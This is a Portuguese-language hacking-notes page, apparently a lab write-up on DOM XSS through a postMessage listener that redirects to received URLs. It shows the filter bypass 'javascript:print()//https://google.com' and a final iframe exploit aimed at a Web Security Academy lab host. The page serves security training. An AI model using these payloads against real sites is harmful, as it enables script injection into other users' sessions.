> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/web/dom/dom-xss-via-web-messages-and-javascript-url.md).

# XSS DOM via Web Messages e uma URL JavaScript

### DOM XSS usando mensagens da Web e uma URL JavaScript

Laboratório demonstrando uma vulnerabilidade de DOM causando redirecionamento/execução via `postMessage`. O objetivo: construir uma página HTML no servidor de exploração que envia uma mensagem para executar `print()` na página-alvo.

```javascript
<script>
window.addEventListener('message', function(e) {
var url = e.data;
if (url.indexOf('http:') > -1 || url.indexOf('https:') > -1) {
    location.href = url;
    }
}, false);
</script>
```

A página-alvo escuta mensagens postadas e trata os dados recebidos como uma URL. Se a string recebida contiver `HTTP:`  ou `https:`, a página redireciona (`location.href`) para esse valor. O código do lado-alvo é o seguinte:

```javascript
window.postMessage('https://jord4n.pro', '*');
```

aciona com sucesso um redirecionamento para `https://jord4n.pro`.

<figure><img src="/files/ac978aa356d4bf6f81074148b7906bebc227d9f2" alt=""><figcaption></figcaption></figure>

### Validação contornada

A validação bloqueia apenas strings que não contenham `HTTP:`  ou `https:` (verificando por meio de `indexOf`). O `indexOf > -1` é, portanto, contornada adicionando um `//https://...` trecho após um `JavaScript:` esquema, de modo que a condição seja atendida enquanto se mantém uma URL começando com `JavaScript:`. Por exemplo:

```javascript
window.postMessage('javascript:alert(0)', '*');
```

* Para abrir um alerta:

```javascript
window.postMessage('javascript:alert(0)//https://google.com', '*');
```

<figure><img src="/files/bd77b31669078a6aa2d656fcd325736e46701ea8" alt=""><figcaption></figcaption></figure>

* Para chamar `print()`:

```javascript
window.postMessage('javascript:print()//https://google.com', '*');
```

O `//https://google.com` parte é usada apenas para satisfazer a `indexOf('https:') > -1` condição.

<figure><img src="/files/8343e6d2309be5b0e5a8711a09dd753b6cf09897" alt=""><figcaption></figcaption></figure>

#### Exploit final

A página de ataque pode incluir um iframe para a página vulnerável e, ao carregar, postar a mensagem maliciosa para o conteúdo incorporado. Exemplo de implementação a ser colocada no servidor de exploração:

{% code overflow="wrap" %}

```javascript
<iframe
  src="https://0a3c00e80375c1ca825c9cec00b50011.web-security-academy.net/"
  width="500"
  height="500"
 onload="this.contentWindow.postMessage('javascript:print()//https://google.com', '*'); "
</iframe>
```

{% endcode %}

<figure><img src="/files/4fbb078c10c16bb7d028e5cb26143813faf2ad4b" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/pt-br/web/dom/dom-xss-via-web-messages-and-javascript-url.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
